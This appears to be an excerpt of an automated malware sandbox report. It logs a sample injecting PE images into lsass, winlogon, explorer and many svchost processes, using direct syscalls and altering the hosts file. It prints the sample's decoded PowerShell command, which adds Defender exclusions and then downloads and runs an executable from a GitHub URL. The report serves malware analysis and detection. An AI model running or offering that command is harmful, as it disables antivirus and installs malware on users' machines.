Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A4152908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: BDF32908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C0262908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C9F32908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 645B2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7B2A2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4F62908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2AB42908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4ADB2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1992908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 25DA2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F5352908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F0D62908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FFB2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C2572908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8BCF2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 66902908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 13EF2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D572908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 69B42908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CC742908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5DA72908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 199D2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F3892908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3B82908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 40E42908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A6532908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 29CC2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7B152908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 621A2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F482908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8B4B2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 683D2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7D82908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2E262908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6C5E2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D5932908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FC652908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 78742908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 33B42908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8D0A2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AB4C2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2A642908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6CF32908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 49352908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 60D92908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5E7B2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2F7C2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E8152908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 52342908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9DA92908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 602E2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1A6C2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 135A2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A13B2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4D862908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E3F22908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2B8A2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 57A52908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6ED52908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7A7E2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EC7B2908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E5242908	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E54E2908	Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Process created: Base64 decoded <#lif#> Add-MpPreference <#pls#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#kid#> -Force <#spr#>;(New-Object System.Net.WebClient).DownloadFile('https://github.com/tarzanre/myrepo/releases/download/a/steam.exe', <#ugl#> (Join-Path <#dqa#> -Path $env:Temp <#czq#> -ChildPath 'svc.exe'))<#vtg#>; Start-Process -FilePath <#uwf#> (Join-Path -Path $env:Temp <#lsf#> -ChildPath 'svc.exe')<#ggm#>
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Process created: Base64 decoded <#lif#> Add-MpPreference <#pls#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#kid#> -Force <#spr#>;(New-Object System.Net.WebClient).DownloadFile('https://github.com/tarzanre/myrepo/releases/download/a/steam.exe', <#ugl#> (Join-Path <#dqa#> -Path $env:Temp <#czq#> -ChildPath 'svc.exe'))<#vtg#>; Start-Process -FilePath <#uwf#> (Join-Path -Path $env:Temp <#lsf#> -ChildPath 'svc.exe')<#ggm#>			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\svc.exe

NtQuerySystemInformation: Direct from: 0x7FF6FB80ABDE

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAED80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B380000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BCF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166900000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E29CC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 7D80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60D90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20C1A6C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 256135A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1AEA13B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2144D860000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 220E3F20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2732B8A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 27E57A50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1A76ED50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1457A7E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 224EC7B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1D7E5240000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1D7E54E0000 value starts with: 4D5A	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 2580 base: 7D80000 value: 4D

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\svc.exe

Section loaded: NULL target: C:\Windows\System32\dialer.exe protection: readonly

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\svc.exe

Thread register set: target process: 7912

Jump to behavior

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\svc.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\svc.exe	Memory written: C:\Windows\System32\dialer.exe base: A359348010	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAED80000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B380000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108BCF0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166900000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E29CC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 7D80000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60D90000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20C1A6C0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 256135A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1AEA13B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2144D860000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 220E3F20000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 2732B8A0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 27E57A50000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1A76ED50000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1457A7E0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 224EC7B0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1D7E5240000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1D7E54E0000	Jump to behavior

